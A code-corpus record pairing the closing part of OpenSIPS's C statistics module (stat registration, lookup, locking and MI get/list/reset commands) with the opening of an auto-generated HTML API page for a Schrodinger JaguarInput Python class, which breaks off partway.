module_stats *amods;
module_stats *mods;
int len;
if ( (module==0) || ((len = strlen(module))==0 ) )
return 0;
amods = unsafe ?
(module_stats*)shm_realloc_unsafe( collector->amodules,
(collector->mod_no+1)*sizeof(module_stats))
:
(module_stats*)shm_realloc( collector->amodules,
(collector->mod_no+1)*sizeof(module_stats));
if (amods==0) {
LM_ERR("no more shm memory\n");
return 0;
}
collector->amodules = amods;
collector->mod_no++;
mods = &amods[collector->mod_no-1];
memset( mods, 0, sizeof(module_stats) );
mods->name.s = module;
mods->name.len = len;
mods->idx = collector->mod_no-1;
return mods;
}
/***************** Init / Destroy STATS support functions *******************/
struct pending_stat_name {
str* name;
struct pending_stat_name *next;
};
struct pending_stat_name *pending_name_list = NULL;
int clone_pv_stat_name(str *name, str *clone)
{
struct pending_stat_name *psn;
if (collector) {
/* if collector init'ed, simply clone it in shm */
clone->s = (char*)shm_malloc(name->len);
if (clone->s==NULL) {
LM_ERR("failed to allocated more shm mem (%d)\n",name->len);
return -1;
}
clone->len = name->len;
memcpy(clone->s,name->s,name->len);
} else {
/* just link it, we will move it to shm when callector available */
*clone = *name;
/* add to pending list */
psn = (struct pending_stat_name *)pkg_malloc( sizeof(struct pending_stat_name) );
if (psn==NULL) {
LM_ERR("failed to allocated more shm mem (%u)\n",
(unsigned int)sizeof(struct pending_stat_name));
return -1;
}
psn->name = clone;
psn->next = pending_name_list;
pending_name_list = psn;
}
return 0;
}
int init_stats_collector(void)
{
struct pending_stat_name *psn, *next;
module_stats *dy_mod;
char *s;
/* init the collector */
collector = (stats_collector*)shm_malloc_unsafe(sizeof(stats_collector));
if (collector==0) {
LM_ERR("no more shm mem\n");
goto error;
}
memset( collector, 0 , sizeof(stats_collector));
/* move pending stat names in shm */
for ( psn=pending_name_list ; psn ; psn=next ) {
next = psn->next;
s = (char*)shm_malloc_unsafe( psn->name->len );
if (s==NULL) {
LM_ERR("no more shm mem (%d)\n", psn->name->len);
goto error;
}
memcpy( s, psn->name->s, psn->name->len);
psn->name->s = s;
pkg_free(psn);
}
/*
* register shm statistics in an unsafe manner, as some allocators
* would actually attempt to update these statistics
* during their "safe" allocations -- Liviu
*/
if (__register_module_stats( "shmem", shm_stats, 1) != 0) {
LM_ERR("failed to register sh_mem statistics\n");
goto error;
}
#ifdef NO_ATOMIC_OPS
/* init BIG (really BIG) lock */
stat_lock = lock_alloc();
if (stat_lock==0 || lock_init( stat_lock )==0 ) {
LM_ERR("failed to init the really BIG lock\n");
goto error;
}
#endif
collector->rwl = (void*)lock_init_rw();
if (collector->rwl==NULL) {
LM_ERR("failed to create RW lock dynamic stats\n");
goto error;
}
/* register MI commands */
if (register_mi_mod( "statistics", mi_stat_cmds)<0) {
LM_ERR("unable to register MI cmds\n");
goto error;
}
/* register core statistics */
if (register_module_stats( "core", core_stats)!=0 ) {
LM_ERR("failed to register core statistics\n");
goto error;
}
/* register sh_mem statistics */
if (register_module_stats( "net", net_stats)!=0 ) {
LM_ERR("failed to register network statistics\n");
goto error;
}
/* create the module for "dynamic" statistics */
dy_mod = add_stat_module( DYNAMIC_MODULE_NAME );
if (dy_mod==NULL) {
LM_ERR("failed to create <%s> module\n",DYNAMIC_MODULE_NAME);
goto error;
}
/* mark it as dynamic, so it will require locking */
dy_mod->is_dyn = 1 ;
stats_ready = 1;
LM_DBG("statistics manager successfully initialized\n");
return 0;
error:
return -1;
}
void destroy_stats_collector(void)
{
stat_var *stat;
stat_var *tmp_stat;
int i;
#ifdef NO_ATOMIC_OPS
/* destroy big lock */
if (stat_lock)
lock_destroy( stat_lock );
#endif
if (collector) {
/* destroy hash tables */
for( i=0 ; i<STATS_HASH_SIZE ; i++ ) {
/* static stats */
for( stat=collector->hstats[i] ; stat ; ) {
tmp_stat = stat;
stat = stat->hnext;
if ((tmp_stat->flags&STAT_IS_FUNC)==0 && tmp_stat->u.val)
shm_free(tmp_stat->u.val);
if ( (tmp_stat->flags&STAT_SHM_NAME) && tmp_stat->name.s)
shm_free(tmp_stat->name.s);
shm_free(tmp_stat);
}
/* dynamic stats*/
for( stat=collector->dy_hstats[i] ; stat ; ) {
tmp_stat = stat;
stat = stat->hnext;
if ((tmp_stat->flags&STAT_IS_FUNC)==0 && tmp_stat->u.val)
shm_free(tmp_stat->u.val);
if ( (tmp_stat->flags&STAT_SHM_NAME) && tmp_stat->name.s)
shm_free(tmp_stat->name.s);
shm_free(tmp_stat);
}
}
/* destroy sts_module array */
if (collector->amodules)
shm_free(collector->amodules);
/* destroy the RW lock */
if (collector->rwl)
lock_destroy_rw( (rw_lock_t *)collector->rwl);
/* destroy the collector */
shm_free(collector);
}
return;
}
int stats_are_ready(void)
{
return stats_ready;
}
/********************* Create/Register STATS functions ***********************/
/**
* Note: certain statistics (e.g. shm statistics) require different handling,
* hence the <unsafe> parameter
*/
int register_stat2( char *module, char *name, stat_var **pvar,
unsigned short flags, void *ctx, int unsafe)
{
module_stats* mods;
stat_var **shash;
stat_var *stat;
stat_var *it;
str smodule;
int hash;
int name_len;
if (module==0 || name==0 || pvar==0) {
LM_ERR("invalid parameters module=%p, name=%p, pvar=%p \n",
module, name, pvar);
goto error;
}
name_len = strlen(name);
stat = unsafe ?
(stat_var*)shm_malloc_unsafe(sizeof(stat_var) +
((flags&STAT_SHM_NAME)==0)*name_len)
:
(stat_var*)shm_malloc(sizeof(stat_var) +
((flags&STAT_SHM_NAME)==0)*name_len);
if (stat==0) {
LM_ERR("no more shm memory\n");
goto error;
}
memset( stat, 0, sizeof(stat_var) );
if ( (flags&STAT_IS_FUNC)==0 ) {
stat->u.val = unsafe ?
(stat_val*)shm_malloc_unsafe(sizeof(stat_val)) :
(stat_val*)shm_malloc(sizeof(stat_val));
if (stat->u.val==0) {
LM_ERR("no more shm memory\n");
goto error1;
}
#ifdef NO_ATOMIC_OPS
*(stat->u.val) = 0;
#else
atomic_set(stat->u.val,0);
#endif
*pvar = stat;
} else {
stat->u.f = (stat_function)(pvar);
}
/* is the module already recorded? */
smodule.s = module;
smodule.len = strlen(module);
mods = get_stat_module(&smodule);
if (mods==0) {
mods = __add_stat_module(module, 1);
if (mods==0) {
LM_ERR("failed to add new module\n");
goto error2;
}
}
/* fill the stat record */
stat->mod_idx = mods->idx;
stat->name.len = name_len;
if ( (flags&STAT_SHM_NAME)==0 ) {
stat->name.s = (char*)(stat+1);
memcpy(stat->name.s, name, name_len);
} else {
stat->name.s = name;
}
stat->flags = flags;
stat->context = ctx;
/* compute the hash by name */
hash = stat_hash( &stat->name );
/* link it into appropriate hash table , with or without locking */
if (mods->is_dyn) {
lock_start_write((rw_lock_t *)collector->rwl);
shash = collector->dy_hstats;
/* double check for duplicates (due race conditions) */
for( it=shash[hash] ; it ; it=stat->hnext ) {
if ( (it->name.len==stat->name.len) &&
(strncasecmp( it->name.s, stat->name.s, stat->name.len)==0) ) {
/* duplicate found -> drop current stat and return the
* found one */
lock_stop_write((rw_lock_t *)collector->rwl);
if (unsafe) {
if (flags&STAT_SHM_NAME)
shm_free_unsafe(stat->name.s);
if ((flags&STAT_IS_FUNC)==0)
shm_free_unsafe(stat->u.val);
shm_free_unsafe(stat);
} else {
if (flags&STAT_SHM_NAME)
shm_free(stat->name.s);
if ((flags&STAT_IS_FUNC)==0)
shm_free(stat->u.val);
shm_free(stat);
}
*pvar = it;
return 0;
}
}
/* new genuin stat-> continue */
} else {
shash = collector->hstats;
}
if (shash[hash]==0) {
shash[hash] = stat;
} else {
it = shash[hash];
while(it->hnext)
it = it->hnext;
it->hnext = stat;
}
collector->stats_no++;
/* add the statistic also to the module statistic list */
if (mods->tail) {
mods->tail->lnext = stat;
} else {
mods->head = stat;
}
mods->tail = stat;
mods->no++;
if (mods->is_dyn)
lock_stop_write((rw_lock_t *)collector->rwl);
return 0;
error2:
if ( (flags&STAT_IS_FUNC)==0 ) {
if (unsafe)
shm_free_unsafe(*pvar);
else
shm_free(*pvar);
*pvar = 0;
}
error1:
if (unsafe)
shm_free_unsafe(stat);
else
shm_free(stat);
error:
if ( (flags&STAT_IS_FUNC)==0 )
*pvar = 0;
return -1;
}
int register_dynamic_stat( str *name, stat_var **pvar)
{
char *p;
int ret;
/*FIXME - what we do here is reallt stupid - convert from str to
* char and next function does the other way around - from char to
* str - this is temporary, before fixing the register_stat2 function
* prototype to accept str rather than char */
if ( (p=pkg_malloc( name->len + 1))==NULL ) {
LM_ERR("no more pkg mem (%d)\n",name->len + 1);
return -1;
}
memcpy( p, name->s, name->len);
p[name->len] = 0;
ret = register_stat( DYNAMIC_MODULE_NAME, p, pvar, 0/*flags*/);
pkg_free(p);
return ret;
}
int __register_module_stats(char *module, stat_export_t *stats, int unsafe)
{
int ret;
if (module==0 || module[0]==0 || !stats || !stats[0].name)
return 0;
for( ; stats->name ; stats++) {
ret = register_stat2( module, stats->name, stats->stat_pointer,
stats->flags, NULL, unsafe);
if (ret!=0) {
LM_CRIT("failed to add statistic\n");
return -1;
}
}
return 0;
}
stat_var* get_stat( str *name )
{
stat_var *stat;
int hash;
if (collector==NULL || name==0 || name->s==0 || name->len==0)
return 0;
/* compute the hash by name */
hash = stat_hash( name );
/* and look for it , first in the hash for static stats */
for( stat=collector->hstats[hash] ; stat ; stat=stat->hnext ) {
if ( (stat->name.len==name->len) &&
(strncasecmp( stat->name.s, name->s, name->len)==0) )
return stat;
}
/* and then in the hash for dynamic stats */
lock_start_read((rw_lock_t *)collector->rwl);
for( stat=collector->dy_hstats[hash] ; stat ; stat=stat->hnext ) {
if ( (stat->name.len==name->len) &&
(strncasecmp( stat->name.s, name->s, name->len)==0) ) {
lock_stop_read((rw_lock_t *)collector->rwl);
return stat;
}
}
lock_stop_read((rw_lock_t *)collector->rwl);
return 0;
}
int mi_stat_name(str *mod, str *stat, str *out)
{
static str tmp_buf = {0, 0};
char *tmp;
if (mod) {
tmp = pkg_realloc(tmp_buf.s, mod->len + stat->len + 1);
if (!tmp) {
LM_ERR("no more pkg memory\n");
return -1;
}
tmp_buf.s = tmp;
memcpy(tmp_buf.s, mod->s, mod->len);
tmp_buf.len = mod->len;
tmp_buf.s[tmp_buf.len++] = ':';
memcpy(tmp_buf.s + tmp_buf.len, stat->s, stat->len);
tmp_buf.len += stat->len;
out->len = tmp_buf.len;
out->s = tmp_buf.s;
} else {
out->len = stat->len;
out->s = stat->s;
}
return 0;
}
int mi_print_stat(struct mi_node *rpl, str *mod, str *stat, unsigned long val)
{
str tmp_buf;
if (mi_stat_name(mod, stat, &tmp_buf) < 0) {
LM_ERR("cannot get stat name\n");
return -1;
}
if (!addf_mi_node_child(rpl, MI_DUP_NAME, tmp_buf.s, tmp_buf.len, "%lu", val)) {
LM_ERR("cannot add stat\n");
return -1;
}
return 0;
}
/***************************** MI STUFF ********************************/
inline static int mi_add_stat(struct mi_node *rpl, stat_var *stat)
{
return mi_print_stat(rpl, &collector->amodules[stat->mod_idx].name,
&stat->name, get_stat_val(stat));
}
inline static int mi_list_stat(struct mi_node *rpl, str *mod, stat_var *stat)
{
str tmp_buf;
char *buf;
if (mi_stat_name(mod, &stat->name, &tmp_buf) < 0) {
LM_ERR("cannot get stat name\n");
return -1;
}
if (stat->flags & STAT_IS_FUNC)
buf = "function";
if (stat->flags & STAT_NO_RESET)
buf = "non-incremental";
else
buf = "incremental";
if (!addf_mi_node_child(rpl, MI_DUP_NAME, tmp_buf.s, tmp_buf.len, "%s", buf)) {
LM_ERR("cannot add stat\n");
return -1;
}
return 0;
}
inline static int mi_add_module_stats(struct mi_node *rpl,
module_stats *mods)
{
stat_var *stat;
int ret = 0;
if (mods->is_dyn)
lock_start_read((rw_lock_t *)collector->rwl);
for( stat=mods->head ; stat ; stat=stat->lnext) {
ret = mi_print_stat(rpl, &mods->name, &stat->name,
get_stat_val(stat));
if (ret < 0)
break;
}
if (mods->is_dyn)
lock_stop_read((rw_lock_t *)collector->rwl);
return ret;
}
inline static int mi_list_module_stats(struct mi_node *rpl,
module_stats *mods)
{
stat_var *stat;
int ret = 0;
if (mods->is_dyn)
lock_start_read((rw_lock_t *)collector->rwl);
for( stat=mods->head ; stat ; stat=stat->lnext) {
ret = mi_list_stat(rpl, &mods->name, stat);
if (ret < 0)
break;
}
if (mods->is_dyn)
lock_stop_read((rw_lock_t *)collector->rwl);
return ret;
}
static struct mi_root *mi_get_stats(struct mi_root *cmd, void *param)
{
struct mi_root *rpl_tree;
struct mi_node *rpl;
struct mi_node *arg;
module_stats *mods;
stat_var *stat;
str val;
int i;
if (cmd->node.kids==NULL)
return init_mi_tree( 400, MI_MISSING_PARM_S, MI_MISSING_PARM_LEN);
rpl_tree = init_mi_tree( 200, MI_OK_S, MI_OK_LEN);
if (rpl_tree==0)
return 0;
rpl = &rpl_tree->node;
for( arg=cmd->node.kids ; arg ; arg=arg->next) {
if (arg->value.len==0)
continue;
val = arg->value;
if ( val.len==3 && memcmp(val.s,"all",3)==0) {
/* add all statistic variables */
for( i=0 ; i<collector->mod_no ;i++ ) {
if (mi_add_module_stats( rpl, &collector->amodules[i] )!=0)
goto error;
}
} else if ( val.len>1 && val.s[val.len-1]==':') {
/* add module statistics */
val.len--;
mods = get_stat_module( &val );
if (mods==0)
continue;
if (mi_add_module_stats( rpl, mods )!=0)
goto error;
} else {
/* add only one statistic */
stat = get_stat( &val );
if (stat==0)
continue;
if (mi_add_stat(rpl,stat)!=0)
goto error;
}
}
if (rpl->kids==0) {
free_mi_tree(rpl_tree);
return init_mi_tree( 404, "Statistics Not Found", 20);
}
return rpl_tree;
error:
free_mi_tree(rpl_tree);
return 0;
}
static struct mi_root *mi_list_stats(struct mi_root *cmd, void *param)
{
struct mi_root *rpl_tree;
struct mi_node *rpl;
struct mi_node *arg;
module_stats *mods;
stat_var *stat;
str val;
int i;
rpl_tree = init_mi_tree( 200, MI_OK_S, MI_OK_LEN);
if (rpl_tree==0)
return 0;
rpl = &rpl_tree->node;
if (cmd->node.kids == NULL) {
for( i=0 ; i<collector->mod_no ;i++ ) {
if (mi_list_module_stats( rpl, &collector->amodules[i] )!=0)
goto error;
}
} else {
for( arg=cmd->node.kids ; arg ; arg=arg->next) {
if (arg->value.len==0)
continue;
val = arg->value;
if ( val.len>1 && val.s[val.len-1]==':') {
/* add module statistics */
val.len--;
mods = get_stat_module( &val );
if (mods==0)
continue;
if (mi_list_module_stats( rpl, mods )!=0)
goto error;
} else {
/* add only one statistic */
stat = get_stat( &val );
if (stat==0)
continue;
if (mi_list_stat(rpl,NULL, stat)!=0)
goto error;
}
}
}
if (rpl->kids==0) {
free_mi_tree(rpl_tree);
return init_mi_tree( 404, "Statistics Not Found", 20);
}
return rpl_tree;
error:
free_mi_tree(rpl_tree);
return 0;
}
static struct mi_root *mi_reset_stats(struct mi_root *cmd, void *param)
{
struct mi_root *rpl_tree;
struct mi_node *arg;
stat_var *stat;
int found;
if (cmd->node.kids==NULL)
return init_mi_tree( 400, MI_MISSING_PARM_S, MI_MISSING_PARM_LEN);
rpl_tree = init_mi_tree( 200, MI_OK_S, MI_OK_LEN);
if (rpl_tree==0)
return 0;
found = 0;
for( arg=cmd->node.kids ; arg ; arg=arg->next) {
if (arg->value.len==0)
continue;
stat = get_stat( &arg->value );
if (stat==0)
continue;
reset_stat( stat );
found = 1;
}
if (!found) {
free_mi_tree(rpl_tree);
return init_mi_tree( 404, "Statistics Not Found", 20);
}
return rpl_tree;
}
#endif /*STATISTICS*/
|
chiforbogdan/opensips
|
statistics.c
|
C
|
gpl-2.0
| 21,856
|
<?xml version="1.0" encoding="ascii"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>schrodinger.application.jaguar.input.JaguarInput</title>
<link rel="stylesheet" href="epydoc.css" type="text/css" />
<script type="text/javascript" src="epydoc.js"></script>
</head>
<body bgcolor="white" text="black" link="blue" vlink="#204080"
alink="#204080">
<!-- ==================== NAVIGATION BAR ==================== -->
<table class="navbar" border="0" width="100%" cellpadding="0"
bgcolor="#a0c0ff" cellspacing="0">
<tr valign="middle">
<!-- Home link -->
<th> <a
href="schrodinger-module.html">Home</a> </th>
<!-- Tree link -->
<th> <a
href="module-tree.html">Trees</a> </th>
<!-- Index link -->
<th> <a
href="identifier-index.html">Indices</a> </th>
<!-- Help link -->
<th> <a
href="help.html">Help</a> </th>
<!-- Project homepage -->
<th class="navbar" align="right" width="100%">
<table border="0" cellpadding="0" cellspacing="0">
<tr><th class="navbar" align="center"
>Suite 2012 Schrodinger Python API</th>
</tr></table></th>
</tr>
</table>
<table width="100%" cellpadding="0" cellspacing="0">
<tr valign="top">
<td width="100%">
<span class="breadcrumbs">
<a href="schrodinger-module.html">Package schrodinger</a> ::
<a href="schrodinger.application-module.html">Package application</a> ::
<a href="schrodinger.application.jaguar-module.html">Package jaguar</a> ::
<a href="schrodinger.application.jaguar.input-module.html">Module input</a> ::
Class JaguarInput
</span>
</td>
<td>
<table cellpadding="0" cellspacing="0">
<!-- hide/show private -->
<tr><td align="right"><span class="options">[<a href="javascript:void(0);" class="privatelink"
onclick="toggle_private();">hide private</a>]</span></td></tr>
<tr><td align="right"><span class="options"
>[<a href="frames.html" target="_top">frames</a
>] | <a href="schrodinger.application.jaguar.input.JaguarInput-class.html"
target="_top">no frames</a>]</span></td></tr>
</table>
</td>
</tr>
</table>
<!-- ==================== CLASS DESCRIPTION ==================== -->
<h1 class="epydoc">Class JaguarInput</h1><p class="nomargin-top"></p>
<pre class="base-tree">
object --+
|
<strong class="uidshort">JaguarInput</strong>
</pre>
<hr />
<p>A class for specifying Jaguar input.</p>
<p>This is a thin wrapper to the mmjag library and carries very little
internal information.</p>
<!-- ==================== INSTANCE METHODS ==================== -->
<a name="section-InstanceMethods"></a>
<table class="summary" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr bgcolor="#70b0f0" class="table-header">
<td colspan="2" class="table-header">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr valign="top">
<td align="left"><span class="table-header">Instance Methods</span></td>
<td align="right" valign="top"
><span class="options">[<a href="#section-InstanceMethods"
class="privatelink" onclick="toggle_private();"
>hide private</a>]</span></td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#__init__" class="summary-sig-name">__init__</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">input</span>=<span class="summary-sig-default">None</span>,
<span class="summary-sig-arg">name</span>=<span class="summary-sig-default">None</span>,
<span class="summary-sig-arg">handle</span>=<span class="summary-sig-default">None</span>,
<span class="summary-sig-arg">structure</span>=<span class="summary-sig-default">None</span>,
<span class="summary-sig-arg">genkeys</span>=<span class="summary-sig-default">None</span>,
<span class="summary-sig-arg">reload</span>=<span class="summary-sig-default">None</span>,
<span class="summary-sig-arg">run_kwargs</span>=<span class="summary-sig-default">None</span>)</span><br />
There are three main ways to create a JaguarInput instance:
from a Jaguar input file 'input', an mmjag handle 'handle', or a
Structure instance 'structure'.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="__del__"></a><span class="summary-sig-name">__del__</span>(<span class="summary-sig-arg">self</span>)</span><br />
Delete the mmjag handle and clean up the mmlibs.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="__copy__"></a><span class="summary-sig-name">__copy__</span>(<span class="summary-sig-arg">self</span>)</span><br />
Create a copy of the JaguarInput object, setting name to
<jobname>_copy.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#launch" class="summary-sig-name">launch</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">*args</span>,
<span class="summary-sig-arg">**kwargs</span>)</span><br />
Save the file and launch a job.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#run" class="summary-sig-name">run</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">**kwargs</span>)</span><br />
Save the file and launch a job with the wait option.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="save"></a><span class="summary-sig-name">save</span>(<span class="summary-sig-arg">self</span>)</span><br />
Write an input file to name.in.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="saveAs"></a><span class="summary-sig-name">saveAs</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">file_</span>)</span><br />
Write an input file to name.in and set the object's name attribute.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr class="private">
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#_setNameFile" class="summary-sig-name" onclick="show_private();">_setNameFile</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">input</span>)</span><br />
Set the name and file properties from a named input file or jobname.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr class="private">
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="_getName"></a><span class="summary-sig-name">_getName</span>(<span class="summary-sig-arg">self</span>)</span><br />
Return the name of the job.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr class="private">
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="_setName"></a><span class="summary-sig-name">_setName</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">name</span>)</span><br />
Set the name of the job and update the filename.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="getAtomCount"></a><span class="summary-sig-name">getAtomCount</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">zmat</span>=<span class="summary-sig-default">0</span>)</span><br />
Return the number of atoms for the specified zmat.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#getValue" class="summary-sig-name">getValue</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">key</span>)</span><br />
Return the &gen section value for keyword 'key'.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="getDefault"></a><span class="summary-sig-name">getDefault</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">key</span>)</span><br />
Return the default value for &gen section keyword 'key'.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#setValue" class="summary-sig-name">setValue</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">key</span>,
<span class="summary-sig-arg">value</span>)</span><br />
Set the &gen section keyword 'key' to the value provided.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#setValues" class="summary-sig-name">setValues</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">dict_</span>)</span><br />
Set multiple &gen section keywords from the provided dictionary
'dict_'.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="deleteKey"></a><span class="summary-sig-name">deleteKey</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">key</span>)</span><br />
Remove a key from the &gen section.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="deleteKeys"></a><span class="summary-sig-name">deleteKeys</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">keys</span>)</span><br />
Remove a list of keys from the &gen section.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="getNonDefault"></a><span class="summary-sig-name">getNonDefault</span>(<span class="summary-sig-arg">self</span>)</span><br />
Return a dictionary of all non-default keys except 'multip' and
'molchg', which must be retrieved explicitly since they are connected
to the geometry.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="setDirective"></a><span class="summary-sig-name">setDirective</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">name</span>,
<span class="summary-sig-arg">value</span>)</span><br />
Set a file specification directive.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="getDirective"></a><span class="summary-sig-name">getDirective</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">name</span>)</span><br />
Get a file specification directive.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="getDirectives"></a><span class="summary-sig-name">getDirectives</span>(<span class="summary-sig-arg">self</span>)</span><br />
Get all file specification directives, except for MAEFILE, which is
weeded out by the mmjag function itself.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a href="schrodinger.application.jaguar.input.JaguarInput-class.html#writeMaefile" class="summary-sig-name">writeMaefile</a>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">filename</span>=<span class="summary-sig-default">None</span>,
<span class="summary-sig-arg">struct</span>=<span class="summary-sig-default">None</span>)</span><br />
Write an associated .mae file and set the MAEFILE directive.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr class="private">
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="_getRestart"></a><span class="summary-sig-name">_getRestart</span>(<span class="summary-sig-arg">self</span>)</span><br />
Get the restart name associated with the input file.</td>
<td align="right" valign="top">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
